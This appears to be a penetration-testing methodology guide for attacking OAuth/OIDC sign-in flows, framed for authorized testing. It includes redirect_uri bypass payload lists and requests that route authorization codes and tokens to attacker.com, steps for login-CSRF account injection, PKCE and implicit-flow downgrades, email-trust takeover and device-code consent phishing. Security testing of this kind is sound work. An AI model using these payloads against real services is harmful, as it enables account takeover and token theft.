OAuth is a delegation protocol whose security lives entirely in parameters the browser forwards — redirect_uri, state, and scope — so most breaks are the authorization server or the client trusting one of those a little too much. The token is the prize; the flow is the attack surface. Follow the redirect that carries the code, and you follow the credential.
Only against systems you are authorized to test.
When to Use
- A login page offers "Sign in with Google / Microsoft / GitHub / Apple" or any
federated identity button
- You see
/authorize,/oauth/token,/oauth2/authorize, or a callback URL
carrying code=, state=, or #access_token=
- Requests contain
response_type,redirect_uri,client_id,scope, or
nonce
- An OIDC discovery document is served at
/.well-known/openid-configuration - The app exchanges an authorization code server-side for tokens, or accepts an
id_token to establish a session
- A first-party SPA or mobile app runs the authorization-code-with-PKCE flow
When NOT to Use
- Forging, cracking, or tampering with the issued token itself (alg confusion,
kid injection, weak HMAC secret, none) — use attacking-jwt
- General web application testing unrelated to the auth flow — use
- The resource API after you already hold a valid access token — use
- **Entra/Azure AD tenant consent, app registration abuse, and multi-tenant app
attacks specifically** — use attacking-entra-id
- **The human side — running consent-phishing or illicit-grant campaigns at
scale against real users** — use performing-social-engineering
Enumerate the Server: Discovery Document First
The OIDC discovery document hands you the entire attack map — every endpoint, the supported flows, and the key set.
curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
# https://target/.well-known/oauth-authorization-server
# https://login.target/<tenant>/v2.0/.well-known/openid-configuration
# https://target/auth/realms/<realm>/.well-known/openid-configuration (Keycloak)Read these fields specifically:
authorization_endpoint,token_endpoint,userinfo_endpoint— the flowjwks_uri— the keys that validateid_tokens (feedsattacking-jwt)response_types_supported— istokenorid_token token(implicit)
allowed? Is code the only option, or can you downgrade?
grant_types_supported— isimplicit,password, or
urn:ietf:params:oauth:grant-type:device_code present?
code_challenge_methods_supported— if absent, PKCE may not be enforcedscopes_supported,claims_supported— the escalation menu
Pull the client bundle too: SPA JavaScript almost always inlines the client_id, the configured redirect_uri, and the scope list.
redirect_uri Validation: The Core Break
Everything hinges on where the authorization server is willing to send the code. If you can make it send the code to a host you control, the flow is over. Work through the validation weaknesses — a permissive registration or a prefix/substring match instead of an exact match is the standard finding.
Registered: https://app.example.com/callback
Path traversal / appended path (prefix match, not exact)
https://app.example.com/callback/../../attacker
https://app.example.com/callback/anything (allowed if it startswith-checks)
https://app.example.com/callback.attacker.com/
Subdomain / domain-suffix weakness (regex or "endswith" match)
https://attacker.app.example.com/callback
https://app.example.com.attacker.com/callback
https://appXexample.com/callback (unescaped . in regex)
Parser confusion — validator and browser disagree on the host
https://attacker.com\@app.example.com/callback
https://app.example.com@attacker.com/callback
https://attacker.com%2F@app.example.com/
https://attacker.com#@app.example.com/
https://attacker.com%23.app.example.com/
Scheme / userinfo / whitespace
http://app.example.com/callback (downgrade to plaintext)
https://app.example.com%00.attacker.com/callback
///attacker.com/callback //attacker.com/callback
localhost is frequently allow-listed with no port check
http://localhost:1337/callback http://127.0.0.1/callback
http://localhost.attacker.com/callbackAn authorize request pointing the code at your host:
GET /authorize?response_type=code
&client_id=REAL_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&scope=openid%20email%20profile
&state=xyz HTTP/1.1
Host: login.targetIf that returns a code to attacker.com, you exchange it (or the victim's browser delivers theirs). Also test each place redirect_uri is read — the authorize request, the token exchange, and any stored per-client default — because some servers validate strictly at /authorize and loosely at /token, or vice versa.
Open Redirector as Exfil Channel
When redirect_uri must stay on the real domain, an open redirect on that domain becomes the exfiltration path: the server sends the code to the allow-listed host, which 302s it — and the code in the query string, or the whole fragment — onward to you.
redirect_uri=https://app.example.com/redirect?next=https://attacker.com/
# code lands on app.example.com, its open redirect forwards it (and often the
# ?code=... query, via Referer or an explicit passthrough) to attacker.comChase any next=, returnUrl=, RelayState=, or continue= parameter on the allow-listed origin. This is the reason an "exact redirect_uri match" that ends on your own domain is still not safe.
state: CSRF on the Callback
state is OAuth's CSRF token. If it is absent, static, predictable, or not verified on return, an attacker stitches their authorization code onto the victim's session — the login-CSRF / account-injection attack.
1. Attacker starts the flow, captures their own code but does NOT complete it.
2. Attacker delivers the callback to the victim:
https://app.example.com/callback?code=ATTACKER_CODE (no/ignored state)
3. Victim's browser completes it; victim's account is now linked to the
attacker's identity provider account -> attacker logs in as the victim.Test: remove state entirely, replay a state from a previous flow, and change one character of the returned state. If the callback still completes, it is not being verified. nonce gets the same treatment in OIDC — its job is replay protection on the id_token.
PKCE: Absence and Downgrade
PKCE binds the code to the client that requested it, defeating code interception. Public clients (SPA, mobile) that skip it are exposed to any attacker who grabs the code from a redirect, referer, or intercepting app.
# Authorize with a challenge:
GET /authorize?...&code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256
Checks:
- Omit code_challenge entirely -> does /token still return a token? (not enforced)
- Send code_challenge_method=plain with challenge == verifier (downgrade)
- Exchange the code with the WRONG code_verifier -> is it accepted? (not verified)
- Reuse the same verifier across two flowsIf a code obtained under one flow can be redeemed without the matching verifier, PKCE is decorative.
Implicit Flow: Token Leakage
response_type=token / id_token token returns the token in the URL fragment, which leaks through browser history, Referer headers on subresource loads, and any JavaScript on the callback page.
GET /authorize?response_type=token&client_id=...&redirect_uri=https://app.example.com/cb
# -> 302 to https://app.example.com/cb#access_token=ya29...&token_type=BearerForce implicit even where code flow is expected (response_type=token), and pair it with a redirect_uri or open-redirect weakness — the fragment rides along and the token exfiltrates. Prefer reporting a downgrade-to-implicit as high severity: it turns a fragment into a bearer credential in the URL bar.
Code Injection, Replay, and Cross-Client Substitution
The authorization code is single-use and client-bound in a correct implementation. Test all three properties.
- Replay — redeem the same
codetwice at/token. The second attempt must
fail; a token on the second try means codes are not invalidated.
- Injection — inject a code obtained in your own session into the victim's
callback (the state-less attack above), or inject the victim's leaked code into your session to log in as them.
- Cross-client substitution — obtain a code issued for
client_id=Aand
redeem it at /token with client_id=B (both apps on the same authorization server). If the server does not bind the code to the issuing client, a code minted for a low-value app buys tokens for a high-value one.
POST /oauth/token HTTP/1.1
Host: login.target
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=VICTIM_OR_OTHER_CLIENT_CODE
&redirect_uri=https://app.example.com/callback
&client_id=DIFFERENT_CLIENT_ID&client_secret=...Scope Escalation and Consent Bypass
Add scopes to the authorize request and see whether the server grants them without a fresh consent prompt — especially on re-authorization, where many servers skip consent for an already-authorized client and silently attach the new scopes.
# Request more than the app normally asks for:
scope=openid email profile offline_access admin read:allCheck: does offline_access (a long-lived refresh token) get granted silently? Are scopes the client never requested honored if you inject them? Does the returned token's actual scope exceed what was consented? Downgrade attacks matter too — a first authorization with narrow scope, then a silent re-auth widening it.
response_mode / response_type Confusion
Mixing response parameters can move a token to a place validation does not cover or downgrade the flow.
response_mode=form_post -> token delivered in a POST body (bypasses fragment
handling and some referer protections)
response_mode=web_message -> token posted via postMessage; test the target-origin
check for a wildcard or missing origin validation
response_type=code%20token / code%20id_token -> hybrid flow; a code AND a
front-channel token, doubling the leak surfaceaccess_token vs id_token Confusion
The access_token is for calling the resource API; the id_token is proof of authentication for the client. Backends routinely confuse them.
- A resource server that accepts an
id_tokenas a bearer token (because
both are JWTs) trusts a token the client should never present to it.
- A client that authenticates a session from an
access_token— an opaque or
loosely-validated string — instead of a properly validated id_token can be fed a token minted for a different audience.
- The token endpoint returns both; try each at every consumer and watch which are
accepted where they should not be.
id_token Validation Flaws
The client must validate the id_token signature against jwks_uri and the claims. Missing claim checks are the account-takeover path.
issnot checked — a token from a different (attacker-controlled) issuer is
accepted.
audnot checked — a token minted for another client on the same IdP
(Google, Microsoft) is replayed here. This is the classic multi-tenant/social IdP takeover.
azp(authorized party) ignored on multi-audience tokens.exp/noncenot enforced — replay of an old or captured token.
The signature-side attacks — alg:none, alg HS256/RS256 confusion, kid injection, jku/x5u pointing at attacker keys — are in attacking-jwt. Fetch jwks_uri from discovery and hand it off there.
"Sign in with X" Account Takeover via Email Trust
The highest-yield federation bug: a client that links or creates accounts by the email claim, trusting it as a verified unique key.
- Provider returns
emailwithoutemail_verified, or the client ignores
email_verified — sign up at an IdP with the victim's email (unverified) and the client links you to their account.
- The client matches an existing local account by email and federates it — pre-hijack
or takeover by registering the same email at a permissive provider.
- Multiple IdP buttons ("Google" and "GitHub") both keyed on email — log in via
the provider where you can control an unverified email matching the victim.
Always inspect the userinfo / id_token claims actually returned and whether email_verified is present and enforced before any account link.
Device Code Flow and Consent Phishing (Illicit Grant)
The device authorization grant (urn:ietf:params:oauth:grant-type:device_code) and the plain consent screen are the phishing surface: the attacker starts a flow, gets a user_code / verification URL, and induces the victim to approve it — yielding tokens to the attacker with no fake login page.
POST /oauth/device/code client_id=REAL_CLIENT_ID&scope=openid%20offline_access
# -> device_code, user_code, verification_uri
# Victim visits the REAL verification_uri, enters the code, approves ->
POST /oauth/token grant_type=...device_code&device_code=...&client_id=...
# attacker polls and receives access + refresh tokensThe victim sees the genuine provider consent page — that is what makes it effective. Running this against real users at scale is a performing-social-engineering engagement; for Entra-specific illicit consent grants (malicious multi-tenant apps), use attacking-entra-id.
Rationalizations to Reject
- "redirect_uri is validated against an allow-list." Exact match or prefix?
Test traversal, subdomain suffix, @/%2F/# parser tricks, and an open redirector on the allow-listed host.
- "We use the authorization code flow, not implicit — it's safe." Codes leak,
replay, and cross clients. And check whether response_type=token still works.
- "state is optional; the SDK handles CSRF." Remove it and see. A callback that
completes without a verified state is account-injectable.
- "PKCE is configured." Configured is not enforced. Omit the challenge, send a
wrong verifier, downgrade to plain.
- "It's a JWT from Google, so it's trusted." Trusted for which
aud? A token
minted for another client is a takeover if you don't check the audience.
- "We match users by email — email is unique." Only if
email_verifiedis
present and enforced. Unverified email is attacker-chosen.
- "The consent screen is the real provider's, so it's legitimate." Device-code
and illicit-grant phishing rely on exactly that genuine screen.
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.
Credential Access (TA0006)
- T1528 Steal Application Access Token — see also
testing-apis,exploiting-cloud-platforms,attacking-entra-id - T1606 Forge Web Credentials — see also
attacking-jwt
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
attacking-jwt— forging, cracking, and validation-bypassing theid_token/
access_token once you have it (alg confusion, kid, jku, weak secret)
testing-web-applications— the app surrounding the login flowtesting-apis— exercising the resource server once you hold a tokenattacking-entra-id— Entra/Azure tenant consent, app registration, and
multi-tenant illicit-grant abuse
reporting-security-findings— severity for redirect_uri, state, and
account-takeover findings
- Burp Suite (Repeater for authorize/token requests, browser proxy for the full
redirect chain); the OAuth-focused Burp extensions — EsPReSSO and the JWT editors for decoding front-channel tokens; mitmproxy for capturing the fragment and cross-origin postMessage traffic that Burp's HTTP history misses